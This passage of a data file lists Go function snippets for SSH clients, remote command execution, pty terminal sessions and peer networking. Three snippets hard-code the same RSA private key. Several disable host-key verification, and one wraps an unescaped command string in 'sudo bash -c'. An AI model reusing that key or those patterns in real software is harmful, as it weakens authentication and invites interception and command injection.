session.Output(command)\n\toutput_string = string(output)\n\treturn output_string, err\n}", "func (s *SSHer) Connect() (err error) {\n\taddr := net.JoinHostPort(s.Host, s.Port)\n\tconfig := &ssh.ClientConfig{\n\t\tUser: s.User,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.Password(s.Pass),\n\t\t},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\tif s.client, err = ssh.Dial(\"tcp\", addr, config); err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "func testCommand(t *testing.T, client ssh.Client, command string) error {\n\t// To avoid mixing the output streams of multiple commands running in\n\t// parallel tests, we combine stdout and stderr on the remote host, and\n\t// capture stdout and write it to the test log here.\n\tstdout := new(bytes.Buffer)\n\tif err := client.Run(command+\" 2>&1\", stdout, os.Stderr); err != nil {\n\t\tt.Logf(\"`%s` failed with %v:\\n%s\", command, err, stdout.String())\n\t\treturn err\n\t}\n\treturn nil\n}", "func sshAgent() (io.ReadWriteCloser, error) {\r\n cmd := exec.Command(\"wsl\", \"bash\", \"-c\", \"PS1=x source ~/.bashrc; socat - UNIX:\\\\$SSH_AUTH_SOCK\")\r\n stdin, err := cmd.StdinPipe()\r\n if err != nil {\r\n return nil, err\r\n }\r\n stdout, err := cmd.StdoutPipe()\r\n if err != nil {\r\n return nil, err\r\n }\r\n if err := cmd.Start(); err != nil {\r\n return nil, err\r\n }\r\n return &sshAgentCmd{stdout, stdin, cmd}, nil\r\n}", "func ConnectWithKeyTimeout(host, username, privKey string, timeout time.Duration) (*Client, error) {\n\tsigner, err := ssh.ParsePrivateKey([]byte(privKey))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tauthMethod := ssh.PublicKeys(signer)\n\n\treturn connect(username, host, authMethod, timeout)\n}", "func (t *Terminal) Connect(r *kite.Request) (interface{}, error) {\n\tvar params struct {\n\t\tRemote Remote\n\t\tSession string\n\t\tSizeX, SizeY int\n\t\tMode string\n\t}\n\n\tif err := r.Args.One().Unmarshal(&params); err != nil {\n\t\treturn nil, fmt.Errorf(\"{ remote: [object], session: %s, noScreen: [bool] }, err: %s\",\n\t\t\tparams.Session, err)\n\t}\n\n\tif params.SizeX <= 0 || params.SizeY <= 0 {\n\t\treturn nil, fmt.Errorf(\"{ sizeX: %d, sizeY: %d } { raw JSON : %v }\", params.SizeX, params.SizeY, r.Args.One())\n\t}\n\n\tuser, err := user.Current()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Could not get home dir: %s\", err)\n\t}\n\n\tif params.Mode == \"create\" && t.HasLimit(r.Username) {\n\t\treturn nil, errors.New(\"session limit has reached\")\n\t}\n\n\tcommand, err := newCommand(params.Mode, params.Session, user.Username)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// get pty and tty descriptors\n\tp, err := pty.NewPTY()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// We will return this object to the client.\n\tserver := &Server{\n\t\tSession: command.Session,\n\t\tremote: params.Remote,\n\t\tpty: p,\n\t\tinputHook: t.InputHook,\n\t}\n\tserver.setSize(float64(params.SizeX), float64(params.SizeY))\n\n\tt.AddUserSession(r.Username, command.Session, server)\n\n\t// wrap the command with sudo -i for initiation login shell. This is needed\n\t// in order to have Environments and other to be initialized correctly.\n\t// check also if klient was started in root mode or not.\n\tvar args []string\n\tif os.Geteuid() == 0 {\n\t\targs = []string{\"-i\", command.Name}\n\t} else {\n\t\targs = []string{\"-i\", \"-u\", \"#\" + user.Uid, \"--\", command.Name}\n\t}\n\n\t// check if we have custom screenrc path and there is a file for it. If yes\n\t// use it for screen binary otherwise it'll just start without any screenrc.\n\tif t.screenrcPath != \"\" {\n\t\tif _, err := os.Stat(t.screenrcPath); err == nil {\n\t\t\targs = append(args, \"-c\", t.screenrcPath)\n\t\t}\n\t}\n\n\targs = append(args, command.Args...)\n\tcmd := exec.Command(\"/usr/bin/sudo\", args...)\n\n\t// For test use this, sudo is not going to work\n\t// cmd := exec.Command(command.Name, command.Args...)\n\n\tcmd.Env = []string{\"TERM=xterm-256color\", \"HOME=\" + user.HomeDir}\n\tcmd.Stdin = server.pty.Slave\n\tcmd.Stdout = server.pty.Slave\n\tcmd.Dir = user.HomeDir\n\t// cmd.Stderr = server.pty.Slave\n\n\t// Open in background, this is needed otherwise the process will be killed\n\t// if you hit close on the client side.\n\tcmd.SysProcAttr = &syscall.SysProcAttr{Setctty: true, Setsid: true}\n\terr = cmd.Start()\n\tif err != nil {\n\t\tfmt.Println(\"could not start\", err)\n\t}\n\n\t// Wait until the shell process is closed and notify the client.\n\tgo func() {\n\t\terr := cmd.Wait()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"cmd.wait err\", err)\n\t\t}\n\n\t\tserver.pty.Slave.Close()\n\t\tserver.pty.Master.Close()\n\t\tserver.remote.SessionEnded.Call()\n\n\t\tt.DeleteUserSession(r.Username, command.Session)\n\t}()\n\n\t// Read the STDOUT from shell process and send to the connected client.\n\tgo func() {\n\t\tbuf := make([]byte, (4096)-utf8.UTFMax, 4096)\n\t\tfor {\n\t\t\tn, err := server.pty.Master.Read(buf)\n\t\t\tfor n < cap(buf)-1 {\n\t\t\t\tr, _ := utf8.DecodeLastRune(buf[:n])\n\t\t\t\tif r != utf8.RuneError {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tserver.pty.Master.Read(buf[n : n+1])\n\t\t\t\tn++\n\t\t\t}\n\n\t\t\t// Rate limiting...\n\t\t\tif server.throttling {\n\t\t\t\ts := time.Now().Unix()\n\t\t\t\tif server.currentSecond != s {\n\t\t\t\t\tserver.currentSecond = s\n\t\t\t\t\tserver.messageCounter = 0\n\t\t\t\t\tserver.byteCounter = 0\n\t\t\t\t\tserver.lineFeeedCounter = 0\n\t\t\t\t}\n\t\t\t\tserver.messageCounter += 1\n\t\t\t\tserver.byteCounter += n\n\t\t\t\tserver.lineFeeedCounter += bytes.Count(buf[:n], []byte{'\\n'})\n\t\t\t\tif server.messageCounter > 100 || server.byteCounter > 1<<18 || server.lineFeeedCounter > 300 {\n\t\t\t\t\ttime.Sleep(time.Second)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tserver.remote.Output.Call(string(filterInvalidUTF8(buf[:n])))\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn server, nil\n}", "func (p *plugin) cmdJoin(w irc.ResponseWriter, r *irc.Request, params cmd.ParamList) {\n\tvar channel irc.Channel\n\tchannel.Name = params.String(0)\n\n\tif params.Len() > 1 {\n\t\tchannel.Password = params.String(1)\n\t}\n\n\tif params.Len() > 2 {\n\t\tchannel.Key = params.String(2)\n\t}\n\n\tproto.Join(w, channel)\n}", "func (s *BaseAspidaListener) EnterConnectionSSH(ctx *ConnectionSSHContext) {}", "func connect(user, host string, port int) (*ssh.Client, error) {\n\tvar (\n\t\tauth \t\t\t[]ssh.AuthMethod\n\t\taddr \t\t\tstring\n\t\tclientConfig \t*ssh.ClientConfig\n\t\tclient \t\t\t*ssh.Client\n\t\terr \t\t\terror\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\t// fmt.Println(\"Unable to parse test key :\", err)\n\t\treturn nil, err\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: \t\t\t\tuser,\n\t\tAuth: \t\t\t\tauth,\n\t\tTimeout: \t\t\t30 * time.Second,\n\t\tHostKeyCallback: \tfunc(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\treturn client, nil\n}", "func connect(user, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\tglog.Infoln(\"Unable to parse test key :\", err)\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\t//\t\tTimeout: \t\t\t60 * time.Second,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn session, nil\n}", "func connect(user, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\tglog.Infoln(\"Unable to parse test key :\", err)\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\t//\t\tTimeout: \t\t\t60 * time.Second,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn session, nil\n}", "func formatDatabaseConnectCommand(clusterFlag string, active tlsca.RouteToDatabase) string {\n\tcmdTokens := append(\n\t\t[]string{\"tsh\", \"db\", \"connect\"},\n\t\tformatDatabaseConnectArgs(clusterFlag, active)...,\n\t)\n\treturn strings.Join(cmdTokens, \" \")\n}", "func AppleHVSSH(username, identityPath, name string, sshPort int, inputArgs []string) error {\n\tsshDestination := username + \"@192.168.64.2\"\n\tport := strconv.Itoa(sshPort)\n\n\targs := []string{\"-i\", identityPath, \"-p\", port, sshDestination,\n\t\t\"-o\", \"IdentitiesOnly=yes\",\n\t\t\"-o\", \"StrictHostKeyChecking=no\", \"-o\", \"LogLevel=ERROR\", \"-o\", \"SetEnv=LC_ALL=\"}\n\tif len(inputArgs) > 0 {\n\t\targs = append(args, inputArgs...)\n\t} else {\n\t\tfmt.Printf(\"Connecting to vm %s. To close connection, use `~.` or `exit`\\n\", name)\n\t}\n\n\tcmd := exec.Command(\"ssh\", args...)\n\tlogrus.Debugf(\"Executing: ssh %v\\n\", args)\n\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tcmd.Stdin = os.Stdin\n\n\treturn cmd.Run()\n}", "func (rhost *rhostData) cmdConnectR(rec *receiveData) {\n\n\t// Replay to address we got from peer\n\trhost.teo.sendToTcd(rec.tcd, CmdNone, []byte{0})\n\n\tptr := 1 // pointer to first IP\n\tfrom := rec.rd.From() // from\n\tdata := rec.rd.Data() // received data\n\tnumIP := data[0] // number of received IPs\n\tport := int(C.getPort(unsafe.Pointer(&data[0]), C.size_t(len(data))))\n\n\t// Create data buffer to resend to peers\n\t// data structure: <from []byte> <0 byte> <addr []byte> <0 byte> <port uint32>\n\tmakeData := func(from, addr string, port int) []byte {\n\t\tbuf := new(bytes.Buffer)\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(from))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t\tbinary.Write(buf, binary.LittleEndian, uint32(port))\n\t\treturn buf.Bytes()\n\t}\n\n\t// Send received IPs to this peer child(connected peers)\n\tfor i := 0; i <= int(numIP); i++ {\n\t\tvar caddr *C.char\n\t\tif i == 0 {\n\t\t\tclocalhost := append([]byte(localhostIP), 0)\n\t\t\tcaddr = (*C.char)(unsafe.Pointer(&clocalhost[0]))\n\t\t} else {\n\t\t\tcaddr = (*C.char)(unsafe.Pointer(&data[ptr]))\n\t\t\tptr += int(C.strlen(caddr)) + 1\n\t\t}\n\t\taddr := C.GoString(caddr)\n\n\t\t// Send connected(who send this command) peer local IP address and port to\n\t\t// all this host child\n\t\tfor peer, arp := range rhost.teo.arp.m {\n\t\t\tif arp.mode != -1 && peer != from {\n\t\t\t\trhost.teo.SendTo(peer, CmdConnect, makeData(from, addr, port))\n\t\t\t}\n\t\t}\n\t}\n\n\t// Send connected(who send this command) peer IP address and port(defined by\n\t// this host) to all this host child\n\tfor peer, arp := range rhost.teo.arp.m {\n\t\tif arp.mode != -1 && peer != from {\n\t\t\trhost.teo.SendTo(peer, CmdConnect,\n\t\t\t\tmakeData(from, rec.tcd.GetAddr().IP.String(), rec.tcd.GetAddr().Port))\n\t\t\t// \\TODO: the discovery channel created here (issue #15)\n\t\t}\n\t}\n\n\t// Send all child IP address and port to connected(who send this command) peer\n\tfor peer, arp := range rhost.teo.arp.m {\n\t\tif arp.mode != -1 && peer != from {\n\t\t\trhost.teo.sendToTcd(rec.tcd, CmdConnect,\n\t\t\t\tmakeData(peer, arp.tcd.GetAddr().IP.String(), arp.tcd.GetAddr().Port))\n\t\t}\n\t}\n\t//teolog.Debug(MODULE, \"CMD_CONNECT_R command processed, from:\", rec.rd.From())\n\trhost.teo.com.log(rec.rd, \"CMD_CONNECT_R command processed\")\n}", "func (s *SSHOrch) InitSSHConnection(alias, username, server string) {\n\tconn, err := net.Dial(\"unix\", os.Getenv(\"SSH_AUTH_SOCK\"))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer conn.Close()\n\n\tag := agent.NewClient(conn)\n\tauths := []ssh.AuthMethod{ssh.PublicKeysCallback(ag.Signers)}\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: username,\n\t\tAuth: auths,\n\t}\nrelogin:\n\tclient, err := ssh.Dial(\"tcp\", server+\":22\", config)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tsshRegister(username, server)\n\t\tgoto relogin\n\t}\n\ts.addLookup(username, server, client)\n\tif len(alias) > 0 {\n\t\ts.addLookupAlias(alias, client)\n\t}\n}", "func ExecSSH(ctx context.Context, id Identity, cmd []string, opts plugin.ExecOptions) (plugin.ExecCommand, error) {\n\t// find port, username, etc from .ssh/config\n\tport, err := ssh_config.GetStrict(id.Host, \"Port\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuser := id.User\n\tif user == \"\" {\n\t\tif user, err = ssh_config.GetStrict(id.Host, \"User\"); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif user == \"\" {\n\t\tuser = \"root\"\n\t}\n\n\tstrictHostKeyChecking, err := ssh_config.GetStrict(id.Host, \"StrictHostKeyChecking\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconnection, err := sshConnect(id.Host, port, user, strictHostKeyChecking != \"no\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to connect: %s\", err)\n\t}\n\n\t// Run command via session\n\tsession, err := connection.NewSession()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create session: %s\", err)\n\t}\n\n\tif opts.Tty {\n\t\t// sshd only processes signal codes if a TTY has been allocated. So set one up when requested.\n\t\tmodes := ssh.TerminalModes{ssh.ECHO: 0, ssh.TTY_OP_ISPEED: 14400, ssh.TTY_OP_OSPEED: 14400}\n\t\tif err := session.RequestPty(\"xterm\", 40, 80, modes); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Unable to setup a TTY: %v\", err)\n\t\t}\n\t}\n\n\texecCmd := plugin.NewExecCommand(ctx)\n\tsession.Stdin, session.Stdout, session.Stderr = opts.Stdin, execCmd.Stdout(), execCmd.Stderr()\n\n\tif opts.Elevate {\n\t\tcmd = append([]string{\"sudo\"}, cmd...)\n\t}\n\n\tcmdStr := shellquote.Join(cmd...)\n\tif err := session.Start(cmdStr); err != nil {\n\t\treturn nil, err\n\t}\n\texecCmd.SetStopFunc(func() {\n\t\t// Close the session on context cancellation. Copying will block until there's more to read\n\t\t// from the exec output. For an action with no more output it may never return.\n\t\t// If a TTY is setup and the session is still open, send Ctrl-C over before closing it.\n\t\tif opts.Tty {\n\t\t\tactivity.Record(ctx, \"Sent SIGINT on context termination: %v\", session.Signal(ssh.SIGINT))\n\t\t}\n\t\tactivity.Record(ctx, \"Closing session on context termination for %v: %v\", id.Host, session.Close())\n\t})\n\n\t// Wait for session to complete and stash result.\n\tgo func() {\n\t\terr := session.Wait()\n\t\tactivity.Record(ctx, \"Closing session for %v: %v\", id.Host, session.Close())\n\t\texecCmd.CloseStreamsWithError(nil)\n\t\tif err == nil {\n\t\t\texecCmd.SetExitCode(0)\n\t\t} else if exitErr, ok := err.(*ssh.ExitError); ok {\n\t\t\texecCmd.SetExitCode(exitErr.ExitStatus())\n\t\t} else {\n\t\t\texecCmd.SetExitCodeErr(err)\n\t\t}\n\t}()\n\treturn execCmd, nil\n}", "func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\n\tresults := make(chan string, 100)\n\ttimeout := time.After(5 * time.Second)\n\n\tfor _, hostname := range hosts {\n\t\tgo func(hostname string) {\n\t\t\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\n\t\t}(hostname)\n\t}\n\n\tfor i := 0; i < len(hosts); i++ {\n\t\tselect {\n\t\tcase res := <-results:\n\t\t\t//fmt.Print(res)\n\t\t\tresult = res\n\t\t\terror = false\n\t\tcase <-timeout:\n\t\t\t//fmt.Println(\"Timed out!\")\n\t\t\tresult = \"Time out!\"\n\t\t\terror = true\n\t\t}\n\t}\n\treturn\n}", "func (m *Machine) connect(conf *ssh.ClientConfig, retry, wait int64) (*ssh.Client, error) {\n\n\tif conf.Timeout == 0 {\n\t\tclient, err := ssh.Dial(\"tcp\", m.address(), conf)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not establish machine connection\")\n\t\t}\n\t\treturn client, nil\n\t}\n\n\tdeadline := conf.Timeout + (time.Duration(retry*wait) * time.Second) + (time.Duration(retry) * conf.Timeout)\n\n\tctx, cancel := context.WithTimeout(context.Background(), deadline+(1*time.Second))\n\tdefer cancel()\n\n\tch := make(chan *ssh.Client, 1)\n\tec := make(chan error, 1)\n\n\tgo func(r int64) {\n\t\tfor {\n\t\t\tclient, err := ssh.Dial(\"tcp\", m.address(), conf)\n\t\t\tif err != nil && r > 0 {\n\t\t\t\ttime.Sleep(time.Duration(wait) * time.Second)\n\t\t\t\tr--\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tec <- err\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tch <- client\n\t\t\treturn\n\t\t}\n\t}(retry)\n\n\tselect {\n\tcase c := <-ch:\n\t\treturn c, nil\n\tcase e := <-ec:\n\t\treturn nil, e\n\tcase <-ctx.Done():\n\t\treturn nil, errors.Errorf(\"Retried %v time(s) with a %v wait. No more retries!\", retry, (time.Duration(wait) * time.Second))\n\t}\n}", "func (e *SSHExecutor) Execute(cmd string, sudo bool, timeout ...time.Duration) ([]byte, []byte, error) {\n\t// try to acquire root permission\n\tif e.Sudo || sudo {\n\t\tcmd = fmt.Sprintf(\"sudo -H -u root bash -c \\\"%s\\\"\", cmd)\n\t}\n\n\t// set a basic PATH in case it's empty on login\n\tcmd = 